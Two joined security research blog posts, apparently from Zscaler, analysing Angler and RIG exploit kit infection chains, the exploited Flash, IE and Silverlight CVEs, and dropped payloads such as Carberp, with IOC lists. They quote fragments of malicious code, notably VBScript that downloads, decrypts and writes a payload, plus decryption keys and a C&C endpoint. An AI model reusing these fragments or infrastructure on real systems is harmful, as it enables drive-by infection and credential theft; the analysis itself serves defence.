Fig 11: IE11 – CVE-2014-4130 
Fig 12: flash_run – Flash CVE-2015-0336
 
Fig 13: GetSLV – Silverlight CVE-2013-0074
 
Fig 14: IE 10 – CVE-2013-2551
The majority of this is standard and has been documented by many researchers. Kafeine has done an excellent job chronicling Angler and other exploit kits and additional information on the landing page exploits can be found on his pastebin.
 
Exploits & Payload
The exploit we examined was Flash exploit CVE-2015-0336. One interesting point is that the SWF file was LZMA compressed, which appears to be an attempt to evade detection.
 
Fig 15: LZMA compressed SWF exploit payload
The SWF takes a parameter, which is an encrypted URL pointing to the location of the binary payload that is executed upon successful exploitation. The binary payload is also encrypted:
 
Fig 16: Encrypted malware payload
VirusTotal detection on the SWF was very poor with only 1/56 vendors alerting at time of upload.
 
 
The malware payload dropped at the end of a successful exploit cycle belongs to the Carberp Banking Trojan family. The Carberp Trojan family is known for stealing online banking credentials as well as user credentials for a variety of applications. It is also capable of downloading additional malware on the victim machine. It’s important to note that the payload is downloaded in an encrypted form and decrypted in memory on the victim machine before being executed by the SWF exploit payload.
The malware binary has better detection coverage with 31/57 AV engines presently providing detection.
 
Conclusion
A 302 Cushioning attack combined with a Domain Shadowing technique is clearly aimed to exploit the current enterprise security posture which still relies heavily on URL categorization and Domain based blocking. With the growing threat landscape, enterprises have started to adopt multiple security solutions to guard their perimeter; however, it is still common for these enterprises to leverage URL categorization to further decide on which traffic goes through some of the more advanced layers of security inspection. Domain Shadowing techniques will cause these attacks to slip through such security policies.
It will not be surprising to see an increase in the usage of these techniques by the cyber-criminals in future attack campaigns. We at ThreatLabZ are closely monitoring this attack vector and ensuring protection for the Zscaler customers.
Thank you to Peleus Uhley from Adobe’s PSIRT for quick response in confirming the SWF exploit.
 
IOC List
We’ve created a couple pastes with a subset of the primary and full domains we’ve observed.
Full domains (including subdomain)
Primary domains only
Note that many of these domains are detectable with simple regex searches. Also note that the URI includes base64-encoded data about the referrer, among other datapoints. Decoded examples:
myfineiu=qsphhyzxgn&time=15032408472520608466&src=63&surl=js.sonoo.info&sport=80&key=700EE759&suri=/
vocvokxj=gwttjva&time=15032408474283214620&src=76&surl=myfilestore.com&sport=80&key=A6D9DE16&suri=/download.php%3fid=c01aa495
js=1&ankheji=pj&time=15032408324140253339&src=205&surl=www.fiercebook.com&sport=80&key=E3907BB8&suri=/js/msdropdown/jquery.dd.min.js
gshspa=lnrsclzpan&time=15032408322451558688&src=77&surl=www.einkaufscenter-in-deutschland.de&sport=80&key=9A9DC80&suri=/index.php
sxlzlq=dwhi&time=1503240817829836824&src=33&surl=www.thailandsusu.com&sport=80&key=521A223A&suri=/webboard/index.php%3faction=dlattach%3battach=175685%3btype=avatar
neygvev=ii&time=15032407471753639860&src=76&surl=url4short.info&sport=80&key=50B3117&suri=/1503e6bd
yrwzim=hzflgicmos&time=15032407022641179106&src=76&surl=myfilestore.com&sport=80&key=ADE2C3CF&suri=/download.php%3fid=728768e6
yrwzim=hzflgicmos&time=15032407022641179106&src=76&surl=myfilestore.com&sport=80&key=70625872&suri=/download.php%3fid=728768e6
wxzyhrcf=gmejggpbvw&time=15032406171268943104&src=76&surl=filestore72.info&sport=80&key=7377ADCF&suri=/download.php%3fid=79ad4669
gptpil=yjostm&time=15032406023680222021&src=76&surl=filestore72.info&sport=80&key=A52D850E&suri=/download.php%3fid=faa55a6b
js=1&gumsczeo=gpgqfxln&time=15032406022626420737&src=128&surl=www.pho-thong.com&sport=81&key=949218C1&suri=/include/jquery.js
sulylnp=ceilsubfx&time=15032405321533647318&src=136&surl=kodseries.com&sport=80&key=6425E43B&suri=/title-00215
Links to VT sample pages:
289ac177212625026b679c4b73849e00 – SWF
340e19aea447bee696453b9c4bd9f65c – Carberp
 

Link: https://www.zscaler.comhttps://www.zscaler.com/blogs/research/angler-exploit-kit-utilizing-302-cushioning-and-domain-shadowing

RIG Exploit Kit Infection Cycle Analysis

Overview
Happy belated birthday to RIG exploit kit! First seen around April 2014, RIG has been in the news several times over the past year. In February, the source code was reportedly leaked online, which likely spurred some of the recent changes we’ve observed in the kit. ThreatLabZ has been keeping an eye on RIG and in this post we’ll cover an example of a full RIG infection cycle.
Delivery
In the past, RIG used malvertising and compromised sites to send users to RIG landing pages and we’ve seen no change in this tactic. Compromised sites leading to RIG usually contain an iframe in the page header that loads a RIG proxy domain, which also contains an iframe leading to the RIG landing page. The full infection cycle is shown in the annotated Fiddler session below.
 
Fig 1: RIG Infection Cycle
In this example, the compromised site actually contains three different malicious iframes in its header. These iframes correspond to line items 37-39 in Fig 1.
 
Fig 2: iframes on Compromised Site
Out of the three RIG proxy iframes on the compromised site, only one, sunfuji[.]com, is still redirecting victims to RIG landing pages. Much like the iframe on the compromised site, the RIG proxy page contains an iframe redirecting victims to the actual landing page.
 
Fig 3: RIG Proxy Redirects to RIG Landing
Note that the RIG proxy is a persistent redirector, which will change the landing page location arbitrarily. Taken at a different time, the same page returned the following result:
 
Fig 4: RIG Proxy Changed Landing Page
Landing Page
The landing page has multiple consistent attributes, starting with the URI. Every RIG landing page URI starts with a question mark, followed by 171 characters. Two examples are below:
four.pavementexpress[.]org/?xH6Af7ieJRvHDIs=l3SKfPrfJxzFGMSUb-nJDa9GPkXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFT_zR3AaQ4ilotXQB5MrPzwnEqWwxWeioWBrxaIYwMU95LEQOdviwijm7VFJMonk0DRvWcDnrtMU0gbrA
trip.slotsbid[.]com/?xniKfredKx_HCYY=l3SKfPrfJxzFGMSUb-nJDa9GPkXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFT_zR3AaQ4ilotXQB5MrPzwnEqWwxWeioWAqBHbYw1MrcOTEOcz0Aj2yeVBd892zxWA4GMBmL5MVUgbrA
The landing page itself contains three blocks of obfuscated code along with some portions of text from a popular CNET article. The majority of the code is actually a long list of character-delimited strings that are passed to a function that basically splits them on the delimiter and runs ‘fromCharCode’:
 
Fig 5: Top of the RIG Landing Page – strings use ‘t’ delimiter
The decode function for each of the three code blocks immediately follows the set of character-delimited strings, as shown in Fig 6.
 
Fig 6: Decode function for first set of character-delimited strings
The deobfuscated first block of code attempts to detect known virtual machine characteristics and other attributes that might indicate an analysis environment. If anything is found, the next two code blocks are not deobfuscated or executed.
 
Fig 7: Code block 1 deobfuscated – detect analysis environment
The second code block is a large base64-encoded VBScript segment:
 
Fig 8: Code block 2 deobfuscated – vbscript
The VBScript is executed from the following code:
 
function time() {window.execScript(base64_decode(scriptvar), “VBscript");}setTimeout(time, 3001); Once executed, the VBScript exploits CVE-2014-6332, the so-called ‘Godmode’ exploit (VT detection – 4/57). AV detection tends to be particularly bad on the VBScript even though the code very closely matches the proof of concept originally publicized. There is a good writeup from TrendMicro, which delves into the details of this vulnerability. If exploitation is successful, the encrypted exe is downloaded, decrypted, and executed on the system. The encryption key for the binary is conveniently in cleartext within the VBScript:
 
If objHTTP.Status = 200 Then Set objFile = objFSO.CreateTextFile(strSaveTo,True) objFile.Write EnDeCrypt(ByteArray2String(objHTTP.responseBody), "nkiOaWsg") objFile.Close End If The third block of code simply serves up a malicious SWF with no secondary obfuscation:
 
Fig 9: Code block 3 deobfuscated – malicious SWF
This code is almost the same as in other exploit kits, and the URL of the encrypted binary is being passed to the SWF as a parameter. The exploit in this case was CVE-2015-0313, which affects Flash versions prior to 16.0.0.305, and the exploit code is contained in a script called ‘wow.’ Detection on VirusTotal shows 10/57, and there are several public writeups on this vulnerability.
Payload #1 – Injector
The binary payload is encrypted with an 8-byte key, which you can guess from the stream or retrieve from the deobfuscated VBScript.
 
Fig 10: Encrypted Binary – key is ‘WsgnkiOa’
VirusTotal detection is a bit better than 50% for this payload at 32/57. The binary file is a Nullsoft Installer self-extracting archive and extracting the archive reveals three files inside:
 
Fig 11: Extracted Files from EXE
In addition to these three files, another executable ‘b8.exe’ is dropped. Once the installer finishes dropping files, it loads the DLL (15/55 on VirusTotal) and begins executing functions to read in the other two files. The file ‘6ag1rqashtwqw1hgqa’ contains data XOR’d with the first 10 bytes of the filename, and the decrypted contents reveals several API calls that give us an idea of what will happen next, for example CreateProcessA, WriteProcessMemory, and ResumeThread.
 
Fig 12: Decrypting file data with filename
Similarly, the ‘Stevie Nicks’ .m3u is unfortunately not actually a playlist, but instead an encrypted binary that is decrypted by the DLL using the XOR key "ZhmGqqKwXmJiiS7dzjzPyyaTw0PANF".
 
Fig 13: Decrypting ‘Stevie Nicks’ playlist binary
VirusTotal detection on the decrypted Stevie Nicks binary is 35/56.  Ultimately, this leads to creating a hollow process of itself (process hollowing – PDF) which then creates an explorer.exe process and injects code to beacon to the Command & Control (C&C) server. Beacons were frequent and used the URI string ‘/power/logout.php’ to POST to the domain ‘starpowerss.com’
 
Fig 14: C&C Traffic Sample
Other notable activity includes:
Copying to ‘C:\Program Files\Common Files\Windows Search 5.3.10\

Link: https://www.zscaler.comhttps://www.zscaler.com/blogs/research/rig-exploit-kit-infection-cycle-analysis